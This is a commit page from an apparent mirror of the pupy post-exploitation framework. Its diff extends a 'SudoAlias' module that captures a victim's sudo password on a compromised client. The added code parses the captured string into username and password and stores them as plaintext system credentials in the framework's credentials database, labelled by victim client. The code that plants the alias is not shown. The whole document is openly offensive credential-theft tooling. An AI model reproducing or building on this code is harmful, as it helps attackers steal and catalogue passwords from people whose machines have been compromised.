mirror of https://github.com/n1nj4sec/pupy.git
adding "sudo_alias" password in creds db
This commit is contained in:
parent
1020749ef1
commit
0f18cd2027
|
@ -1,5 +1,6 @@
|
|||
# -*- coding: utf-8 -*-
|
||||
from pupylib.PupyModule import *
|
||||
from pupylib.utils.credentials import Credentials
|
||||
|
||||
__class_name__="SudoAlias"
|
||||
|
||||
|
@ -24,6 +25,14 @@ class SudoAlias(PupyModule):
|
|||
self.error("nothing find, be patient !")
|
||||
else:
|
||||
self.success("Sudo password found: %s" % data)
|
||||
|
||||
# add password to the database
|
||||
username = data.split('/')[0]
|
||||
password = data.replace(username, '')[1:]
|
||||
db = Credentials()
|
||||
db.add([{'Login': username, 'password':password, 'CredType': 'plaintext', 'Category': 'System password', 'uid': self.client.short_name()}])
|
||||
self.success("Credentials stored on the database")
|
||||
|
||||
elif args.action=="stop":
|
||||
if not self.client.conn.modules["sudo_alias"].sudo_alias_stop():
|
||||
self.error('the alias has not been created yet (run start)')
|
||||
|
|
Loading…
Reference in New Issue